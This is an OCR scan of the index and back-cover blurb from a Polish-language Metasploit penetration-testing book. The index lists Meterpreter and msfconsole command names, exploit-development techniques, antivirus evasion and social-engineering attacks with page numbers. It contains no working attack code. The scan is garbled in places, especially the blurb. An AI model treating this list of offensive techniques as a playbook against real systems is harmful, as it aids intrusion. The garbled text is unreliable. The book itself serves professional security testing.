PE, Portable Executable, 141 db_services, 54 save, 98

pivoting, 55, 127 db_status, 49 screenshot, 117

plik db_vulns, 75 search, 93
autoexploit.rc, 109 debug, 245 search scanner/http, 170
autorun.inf, 204 EHLO, 276 sessions, 103, 135
calc.exe, 347 exploit, 103, 130 set, 97
dhepd.conf, 228 getsystem, 124, 163 setg, 98
karma.rc, 229 getuid, 125 shell, 103
messages, 232 help, 74 show, 92
mssql.rb, 240, 244, 248 info, 97, 163 show advanced, 161
mssql_commands.rb, 241 irb, 300 show auxiliary, 168
mssql_powershell.rb, 242 jmp esp, 40 show options, 103, 244
payload2.exe, 144 load auto_add_route, 130, show targets, 102
resource.rc, 109 321 show_options, 85
Subnetl.xml, 50 load nessus, 82 steal_token, 126
surgemail.exe, 259, 261 load nexpose, 74 sudo, 309
WSecript, 205 migrate, 119, 162 sysinfo, 118

pliki msf> show auxiliary, 92 unset, 97
-peap, 133 msf> show exploits, 92 unsetg, 98
pde, 206 msf> show options, 92 use multi/handler, 134
vmx, 332 msf> show payloads, 94 use priv, 121, 124, 163
maszyny wirtualnej, 332 msf> show targets, 96 version, 109
PDF, 186 msfcli -h, 36 polityka skanowania, scan
pliki zasobéw, resource msfconsole, 35 policy, 77

files, 108 msfencode -h, 40, 142 polaczenie

podglad pulpitu, 131 msfpayload -h, 39 odwrécone, 133

podmiana msfpescan, 261 zwrotne, 102, 347
ramek iframe, 197 mssql_ping, 114 pomoc msfconsole, 35
stron, 196 nessus_connect, 82 port

podpis apletu, 187 nessus_policy_list, 82 nashuchiwania serwera, 57

podszywanie si¢ pod adres IP, nessus_report_get, 83 serwera SQL, 113

51 ] nessus_report_list, 83 portal dostepowy do sieci Wi-

polecenia nessus_scan_new, 83 Fi, 233
Meterpretera, 117, 301, 348 nessus_scan_status, 83 porty ushug, 107
MSFcli, 347 net user, 123 POST parameter attack, 212
MSFconsole, 341 netstat -an, 158 PostgreSQL, 49
MSFencode, 346 netstat -antp, 326 potwierdzanie logowania SMB,
MSFpayload, 346 nexpose_connect -h, 75 84

polecenie nexpose_scan, 75 poufne informacje, 195
Jast-track.py -i, 209 nmap, 47 PowerShell, 242
./set—web, 208 ping, 47 powl()ka
add_group_user, 127 ps, 119, 125, 294 irb7 137
airmon-ng start wlan0, 229 resource, 108 Ruby, 137
background, 124 resource karma.rc, 231 wigzania, 106, 155
db_autopwn, 89 route, 128 poziom uprawnien, 123
db_autopwn —h, 90 route print, 128 procedura sktadowana
db_connect, 73 run, 293 xp_cmdshell, 115, 238, 241
db_destroy, 82 procedury sktadowane, 212
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proces

explorer.exe, 119

iexplorer.exe, 295

surgemail.exe, 254
program

brute-forcer, 115

Encase, 328

Immunity Debugger, 155

LAN Manager, 120

NT LAN Manager, 120

NT LAN Manager v, 120

multi-handler, 146

obstugi nastuchiwacza, 124
programy

antywirusowe, 132, 139

kompresujace, 149
protokot

ICMP, 47

IMAP, 252

RDP, 319

SMTP, 323

SNMP, 60

SSH, 58

SSL, 61

TFTP, 285

UDP, 57
przechwytywanie

baneréw, 27, 66, 322

pakietéw, 133

plikéw cookie, 233

uderzen klawiatury, 118
przekierowanie portéw, 181
przepelnianie

bufora, buffer overflow, 252,

273

sterty, heap overflow, 130

stosu, 251
przesylanie tadunku, 164
przydzielanie adresow IP, 231
przygotowanie raportu,

reporting, 28
PTES, Penetration Testing
Execution Standard, 25

Pulpit zdalny, 320
punkt przerwania, 157, 263
punkt wstrzykniecia SQL, 212
puste hasta, 86
puste instrukcje, 153
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randomizacja, 279
raporty, 71, 80
RATTE, 207
RDP, Remote Desktop Protoco,
319
rejestr
EIP, 272, 277
ESP, 272
rejestrator pakietow, 133
rejestrowanie klawiatury, 89, 118
rejestry, 272
rekord SEH, 261
reverse shell, 34
RO, read-only, 60
rozmiary tadunkéw, 260
RPC, Remote Procedure Call,
111
RW, read/write, 60

SAM, Security Account
Manager, 121
scrapowanie systemu, 133
SEH, Structured Exception
Handler, 255, 283
sekwencja POP-POP-RETN,
261, 263
sekwencyjne identyfikatory IP,
51
serwer
Apache Tomcat, 323
Autopwn, 229
browser_autopwn, 229
DHCP, 230, 332
DNS, 45
MS SQL, 57
pocztowy, 46
POP3, 232
proxy, 178
Samba, 104
SNMP, 60
SQL, 113, 336
SSH, 58
VNC, 86
WWW, 66
WWW Python, 181
X11, 88

SET, Social-Engineer Toolkit,
179, 336
skaner
Nessus, 76
NeXpose, 67
OpenVAS, 89
open_xl11, 88
scanner/portscan/tcp, 130
SMB Login Check Scanner,
84
smb_version, 57
VNG, 86
VNC Authentication None,
86
vne_auth, 88
skanery
luk w zabezpieczeniach, 30
niestandardowe, 61
portéw, 167
wyspecjalizowane, 84
znacznikéw ustug, 167
skanowanie
bloku wiadomosci serwera,
56
FTP, 59
jalowe TCP, 51
luk w zabezpieczeniach, 65
niepo$wiadczone, 74
portéw, 47, 54, 130, 321,
326
poswiadczone, 74
serwera SSH, 58
sieci, 319
skryte TCP, 47
systemu Metasploitable, 321
ukierunkowane, targeted
scan, 56
za pomoca wtyczki, 82
skok
do fikeyjnego kodu powtoki,
279
short jump, 259, 288
skrot hasta, 120, 132
skrypt
getgui, 320
multi_meter_inject, 294
packetrecorder, 133
persistence, 133
PowerShell, 238
scraper, 133
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skrypty Meterpretera, 131, 293,
304
SMB, Server Message Block, 56
SNMP, Simple Network
Management Protocol, 60
socjotechnika, 179
spear-phishing, 163
spryskiwanie sterty, heap
spraying, 153
SQL injection, 29, 210
SSH, Secure Shell, 58
SSL, Secure Sockets Layer, 61
standard PTES, 25, 64
strona sklonowana, 199
strony zrédlowe HTTP, 196
sygnatury, signatures, 139
system
Back | Track, 44
Linux, 128
Ubuntu, 104
Windows XP, 128
systemy
detekeji wlaman, 40, 152,
288
IDS, 288
przekazywania obrazu, 86
szablon
boilerplate, 242
pliku wykonywalnego, 146
szyfrowanie w HTTP, 207

-

Sledzenie porzadku pakietéw,
51
§ledzenie ruchu, 133

T

tablica BadChars, 266
tabnabbing, 196
technika pass-the-hash, 122
test
,biatego kapelusza”, 29
penetracyjny, 313
testowanie exploita, 276
testy
jawne, 29
penetracyjne, 25, 30, 330
ukryte, 30

Kup ksigzke

teczowe tablice, rainbow tables,
120
TFTP, Trivial File Transfer
Protocol, 285
token
ihazdomainadmin, 127
Kerberos, 125
tokeny personifikacji, 125
transfery stref, 45
tryb pracy karty
bezprzewodowej, 229
tunel zwrotny RDP, 320
tunelowanie, 131
tworzenie
bazy danych, 73
fatszywego punktu dostepu,
230
klonu strony, 197
modutu, 241
pliku wykonywalnego, 306
polityki skanowania, 77
skryptu Meterpretera, 304
sygnatur, 146
wlasnych exploitow, 251
wlasnych moduléw, 237
tylne drzwi, backdoor, 28
typy
testow penetracyjnych, 29
wstrzykniecia SQL, 219

U

UAC, 309
UAC Safe, 309
UT, user interface, 301
ukryte testy penetracyjne, 30
unieruchamianie
oprogramowania
antywirusowego, 132
unikanie wykrycia, 139
uprawnienia, 123
uprawnienia na poziomie
systemu, 116
uruchamianie
agenta, 133
armitage, 38
exploita, 192, 249
exploita powloki, 243
tadunku, 37, 147
maszyn wirtualnych, 332

Metasploita, 190

Nessusa, 79

NeXpose, 74

Nmap, 53

procedury xp_cmdshell, 241

skryptu, 131
urzadzenie

Teensy USB HID, 205

USB, 206
ustuga

RPC, 111

SQL Server Browser, 336

SQL Server Service, 336
ustugi podatne na ataki, 322
ustawienia domyslne

przelgeznika, 61

usuwanie

agenta, 133

fikeyjnego kodu powloki,

280

NOP slide, 280

VBScript, 134
uwierzytelnianie

VNC, 86

w trybie mieszanym, 215
uzyskiwanie adresu zwrotnego,

261

\'4

VMware Player, 332

VMware Server, 332

VNG, virtual network
computing, 86

w

warto$é skrétu, hash values, 118
wektor ataku, attack vector, 180
spear-phishing, 181
Teensy USB HID, 204
wieloaspektowego, 199
wektory atakéw WWW, Web
attack vectors, 187
wigzanie, bind, 133
wielokrotne
kodowanie, multi-encoding,
144
zapytania, 203

357
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wiersz polecen, 36
wstrzykiwanie reczne, 213
wstrzykniecie

agenta, 133

kodu SQL, 210

ramki iframe, 193

zapytania SQL, SQL

injection, 29

wtyczka

Nessus Bridge, 81

--script=smb-check-vulns,

100

sounds, 108
wykrywanie

bledow, 168

ladunku, 142

otwartych portéw, 314

wersji systemu, 112
wyniki skanowania, 67
wyodrebnienie skrétow, 120
wyszukiwanie whois, 44, 45
wyswietlanie komunikatéw, 300
wywolania API, 137, 301
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z

zabezpieczenie DEP, 100
zacieranie §ladéw, 327
zainfekowane no$niki danych,
204
zainfekowany plik PDF, 186
zakres
adreséw, 53
portéw, 107
zamiatanie SNMP, 60
zapytania sparametryzowane,
212
zatruwanie pamieci podrecznej,
224
zbieranie
informacji, intelligence
gathering, 26, 64, 314
aktywne, 47
pasywne, 44
posrednie, 44
nazw uzytkownikéw, 194
poswiadczen, harvesting,
194, 232
zdalne wykonywanie kodu, 266
zestaw instrukeji JMP, 272
zjazd, slide, 272
zle znaki, bad characters, 266

zlosliwa

kontrolka ActiveX, 235

strona, 191
zlosliwe

e-maile, 152

oprogramowanie, malware,

327

pliki, 163
zlosliwy

aplet Javy, 187, 203

bufor, 276

link, 152

serwer WWW, 198
zmiana formatu, 222
zmienna cmd, 241
znak

apostrofu, 316

pionowej kreski, 63
znaki CRLF, 246
zrandomizowany bufor, 281
zrzut ekranu

pulpitu, 117

z maszyny docelowej, 202
zwiekszanie uprawnien, 123,

163
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[werytikuj bezpieczenstwo Twojej sieci!

W ilu migjscach znajdui sie Twoje dane osobowe? [ tej ksiaiki dowiesz sie:
fidzie preechowujes? paczte, pliki, strany internetowe?
Ciy jestes pewien, ie administratorzy tych systemiw
zegwarantowali wystarczajacy pozion bezpieczestwa’

+— jak udkrywac i ekspluatowag nieuiywene, ile
skonfigurowane i niezaktualizowane systemy

W dzisigjszych czasach 54 Lo nigzwykle istolne, wigez ~ jak prieprowzdzac rozpoznanie i znajdowas cenne
kluczowe pytania. Jeze'l choesz odniesc sukces, musisz Informacje na temat cela atiku
20obyc zaufznie Twoeich klientow. Testy panetracyjne

R e «— jak omijac technclog e antywirusowe i obchoczic
zapewniz Ci spoidy systemy kontroli bempieczerstwa
Na rynku dostepne jest narzgdzie uzywane pizez
piofesjonalistdw do przeprowadzania testiw
penelracyinych. Jest doskonale, lecz ma pewna wade
— trudny start dia paczatkujacyeh uiytkewnikiw

Na szc2gscie dzigki tej ksizice razpoczniesz prace w— jak korzystac 2 powhoki Meterpretera do odpalania

2 Metasploit bez kiopotu, a kolejne rozdzialy pozwols daiszych atakdw, gdy znajdujest sig juz wewnatrz sieci
Ci zdubywac coraz bardziej zaawansuwang wiedze.
Tworieniz weasrych skryptow, narzedzia socjotechniczne,
skanowanie portdw to tylko cagsc zadan, ktdre rie beds
i jui nigdy wigeej sprawiat tadnych aroblemiw Ksiatka ~ »— jak pisac whasne skrypty Meterpretera i moduly fazy
tz jest Swielnym, a zarazem obowigzhawym podrecanikiem pozksploatacyjnej

dla kaidego administratora dbajacego o bezpieczenstwo

swojej sieci. Bedzie ona rdwniez nigocenionym frodizm

infurmacii dia vsdb, klie awodowo @jnojg sie

pizeprowadzaniem testow penetracyjoyca.

o jak zintegrowac 1 Metasploit nzrzedzia typu Nmay,
NeXpose oraz Nessus w zely zautomatyzowania
procesu wykrywania

+ jak robic uiytek 2 samodzielnych narzedzi
Meterpretera zewnetrznych narzedzi i wiyczek
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